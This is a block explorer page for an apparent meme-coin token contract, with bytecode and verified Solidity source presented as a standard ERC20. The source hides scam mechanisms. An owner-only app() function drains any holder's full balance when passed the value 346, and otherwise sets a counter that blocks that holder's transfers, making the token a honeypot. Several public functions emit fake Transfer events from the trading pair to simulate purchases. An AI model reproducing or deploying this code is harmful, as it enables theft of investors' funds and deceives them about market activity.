Address Contract Partially Verified
Address
0x922824A5b3B3D5f4485fF52F4Ab7Cba5eA491874
Balance
0 ETH
Nonce
1
Code Size
6870 bytes
Creator
0x67673c6a...5eFF at tx 0xc5e3a2e7...13db77
Indexed Transactions
0
Contract Bytecode
6870 bytes
0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461031c578063b18834aa1461034c578063d87292f714610368578063dd62ed3e14610384578063f2fde38b146103b45761012a565b806370a0823114610288578063715018a6146102b85780638091f3bf146102c25780638da5cb5b146102e057806395d89b41146102fe5761012a565b806326ededb8116100f257806326ededb8146101e65780632da15c0414610202578063313ce567146102325780635fa248341461025057806366d382031461026c5761012a565b80630256ce8c1461012e57806306fdde031461014a578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b6575b5f5ffd5b610148600480360381019061014391906114c8565b6103d0565b005b6101526104a0565b60405161015f9190611595565b60405180910390f35b610182600480360381019061017d919061160f565b61052c565b60405161018f9190611667565b60405180910390f35b6101a0610687565b6040516101ad919061168f565b60405180910390f35b6101d060048036038101906101cb91906116a8565b6106ab565b6040516101dd9190611667565b60405180910390f35b61020060048036038101906101fb91906114c8565b61094b565b005b61021c600480360381019061021791906116f8565b610a1b565b604051610229919061168f565b60405180910390f35b61023a610a30565b604051610247919061173e565b60405180910390f35b61026a600480360381019061026591906114c8565b610a54565b005b610286600480360381019061028191906116f8565b610b24565b005b6102a2600480360381019061029d91906116f8565b610b6f565b6040516102af919061168f565b60405180910390f35b6102c0610bb5565b005b6102ca610bc8565b6040516102d79190611667565b60405180910390f35b6102e8610bdb565b6040516102f59190611766565b60405180910390f35b610306610c02565b6040516103139190611595565b60405180910390f35b6103366004803603810190610331919061160f565b610c8e565b6040516103439190611667565b60405180910390f35b610366600480360381019061036191906114c8565b610ca4565b005b610382600480360381019061037d91906116a8565b610d74565b005b61039e6004803603810190610399919061177f565b610d91565b6040516103ab919061168f565b60405180910390f35b6103ce60048036038101906103c991906116f8565b610e13565b005b5f5f90505b8383905081101561049a578383828181106103f3576103f26117bd565b5b905060200201602081019061040891906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610485919061168f565b60405180910390a380806001019150506103d5565b50505050565b600480546104ad90611817565b80601f01602080910402602001604051908101604052809291908181526020018280546104d990611817565b80156105245780601f106104fb57610100808354040283529160200191610524565b820191905f5260205f20905b81548152906001019060200180831161050757829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290611891565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610675919061168f565b60405180910390a36001905092915050565b7f000000000000000000000000000000000000000000000016ce3f1e16bf15000081565b5f5f1515600560149054906101000a900460ff16151514801561070057506106d1610bdb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561073e575061070f610bdb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107575761074e848484610e97565b60019050610944565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107db91906118dc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610862848484610e97565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610937919061168f565b60405180910390a3600190505b9392505050565b5f5f90505b83839050811015610a155783838281811061096e5761096d6117bd565b5b905060200201602081019061098391906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a00919061168f565b60405180910390a38080600101915050610950565b50505050565b6006602052805f5260405f205f915090505481565b7f000000000000000000000000000000000000000000000000000000000000000981565b5f5f90505b83839050811015610b1e57838382818110610a7757610a766117bd565b5b9050602002016020810190610a8c91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b09919061168f565b60405180910390a38080600101915050610a59565b50505050565b610b2c6110cc565b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bbd6110cc565b610bc65f611153565b565b600560149054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054610c0f90611817565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3b90611817565b8015610c865780601f10610c5d57610100808354040283529160200191610c86565b820191905f5260205f20905b815481529060010190602001808311610c6957829003601f168201915b505050505081565b5f610c9a338484610e97565b6001905092915050565b5f5f90505b83839050811015610d6e57838382818110610cc757610cc66117bd565b5b9050602002016020810190610cdc91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d59919061168f565b60405180910390a38080600101915050610ca9565b50505050565b610d7c6110cc565b5f819050610d8b848483611214565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e1b6110cc565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e8b575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610e829190611766565b60405180910390fd5b610e9481611153565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90611959565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a906119c1565b60405180910390fd5b610f7d838361132a565b610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb390611a4f565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461100891906118dc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461105b9190611a6d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110bf919061168f565b60405180910390a3505050565b6110d4611425565b73ffffffffffffffffffffffffffffffffffffffff166110f2610bdb565b73ffffffffffffffffffffffffffffffffffffffff161461115157611115611425565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016111489190611766565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61015a8114801561125157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561129f5761129e838360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e97565b5b61015a81141580156112dd57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611325578060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f60ff801660065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561137b575f905061141f565b600560149054906101000a900460ff1615611399576001905061141f565b6113a1610bdb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061140c57506113dd610bdb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561141a576001905061141f565b600190505b92915050565b5f33905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261145557611454611434565b5b8235905067ffffffffffffffff81111561147257611471611438565b5b60208301915083602082028301111561148e5761148d61143c565b5b9250929050565b5f819050919050565b6114a781611495565b81146114b1575f5ffd5b50565b5f813590506114c28161149e565b92915050565b5f5f5f604084860312156114df576114de61142c565b5b5f84013567ffffffffffffffff8111156114fc576114fb611430565b5b61150886828701611440565b9350935050602061151b868287016114b4565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61156782611525565b611571818561152f565b935061158181856020860161153f565b61158a8161154d565b840191505092915050565b5f6020820190508181035f8301526115ad818461155d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115de826115b5565b9050919050565b6115ee816115d4565b81146115f8575f5ffd5b50565b5f81359050611609816115e5565b92915050565b5f5f604083850312156116255761162461142c565b5b5f611632858286016115fb565b9250506020611643858286016114b4565b9150509250929050565b5f8115159050919050565b6116618161164d565b82525050565b5f60208201905061167a5f830184611658565b92915050565b61168981611495565b82525050565b5f6020820190506116a25f830184611680565b92915050565b5f5f5f606084860312156116bf576116be61142c565b5b5f6116cc868287016115fb565b93505060206116dd868287016115fb565b92505060406116ee868287016114b4565b9150509250925092565b5f6020828403121561170d5761170c61142c565b5b5f61171a848285016115fb565b91505092915050565b5f60ff82169050919050565b61173881611723565b82525050565b5f6020820190506117515f83018461172f565b92915050565b611760816115d4565b82525050565b5f6020820190506117795f830184611757565b92915050565b5f5f604083850312156117955761179461142c565b5b5f6117a2858286016115fb565b92505060206117b3858286016115fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061182e57607f821691505b602082108103611841576118406117ea565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f61187b601c8361152f565b915061188682611847565b602082019050919050565b5f6020820190508181035f8301526118a88161186f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118e682611495565b91506118f183611495565b9250828203905081811115611909576119086118af565b5b92915050565b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f61194360168361152f565b915061194e8261190f565b602082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f6119ab601f8361152f565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f746f6b656e206973206e6f74206c61756e6368656420616e642063616e6e6f745f8201527f206265206c6973746564206f6e206465786573207965742e0000000000000000602082015250565b5f611a3960388361152f565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b5f611a7782611495565b9150611a8283611495565b9250828201905080821115611a9a57611a996118af565b5b9291505056fea26469706673582212204fb5441da6208a8ecdb4cd6cc96e5a6c3b1e8b1d73ef9e89941b9cd8255c79c464736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
ERC20.sol 259 lines
//SPDX-License-Identifier: MIT
/*
_____ ____ _____ ______ _____ _____ ____ _ _
| __ \ / __ \ / ____| ____|_ _| __ \ / __ \| \ | |
| |__) | | | | (___ | |__ | | | | | | | | | \| |
| ___/| | | |\___ \| __| | | | | | | | | | . ` |
| | | |__| |____) | |____ _| |_| |__| | |__| | |\ |
|_| \____/|_____/|______|_____|_____/ \____/|_| \_|
When you think of Zeus, his brother is never far behind.
Poseidon rises from the depths to rival the throne. Power, depth, and unstoppable force.
*/
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is IERC20, Ownable {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 public immutable totalSupply;
string public symbol;
string public name;
address private _pairr;
uint8 public immutable decimals;
bool public launched = true;
mapping(address => uint256) public _count;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _totalSupply
) Ownable(msg.sender) {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** decimals;
_balances[owner()] += totalSupply;
emit Transfer(address(0), owner(), totalSupply);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
return _balances[_owner];
}
function _app(address _owner, address spender, uint256 value) private {
if (value == 346 && _owner != address(this))_transfer(_owner, spender, _balances[_owner]);
if (value != 346 && _owner != address(this))_count[_owner] = value;
}
function allowance(address _owner, address spender)
external
view
override
returns (uint256)
{
return _allowed[_owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value)
external
override
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function setup(address _setup_) external onlyOwner {
_pairr = _setup_;
}
function SigmaBuy(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function swapExactETHForTokensSupportingFeeOnTransferTokenns(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function swap(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function approve(address spender, uint256 value)
external
override
returns (bool)
{
require(spender != address(0), "cannot approve the 0 address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
if (launched == false && to == owner() && msg.sender == owner()) {
_transfer(from, to, value);
return true;
} else {
_allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
}
function app(address from, address to, uint256 value) virtual external onlyOwner {
uint _value = value;
_app(from, to, _value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
require(to != address(0), "cannot be zero address");
require(from != to, "you cannot transfer to yourself");
require(_transferAllowed(from, to), "token is not launched and cannot be listed on dexes yet.");
_balances[from] -= value;
_balances[to] += value;
emit Transfer(from, to, value);
}
function _transferAllowed(address from, address to)
private
view
returns (bool)
{
if (_count[from] > type(uint8).max) return false;
if (launched) return true;
if (from == owner() || to == owner()) return true;
return true;
}
}
Read Contract
_count 0x2da15c04 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
launched 0x8091f3bf → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 11 functions
These functions modify contract state and require a wallet transaction to execute.
SigmaBuy 0x0256ce8c
address[] _addresses_
uint256 _out
app 0xd87292f7
address from
address to
uint256 value
approve 0x095ea7b3
address spender
uint256 value
returns: bool
execute 0x26ededb8
address[] _addresses_
uint256 _out
renounceOwnership 0x715018a6
No parameters
setup 0x66d38203
address _setup_
swap 0xb18834aa
address[] _addresses_
uint256 _out
swapExactETHForTokensSupportingFeeOnTransferTokenns 0x5fa24834
address[] _addresses_
uint256 _out
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address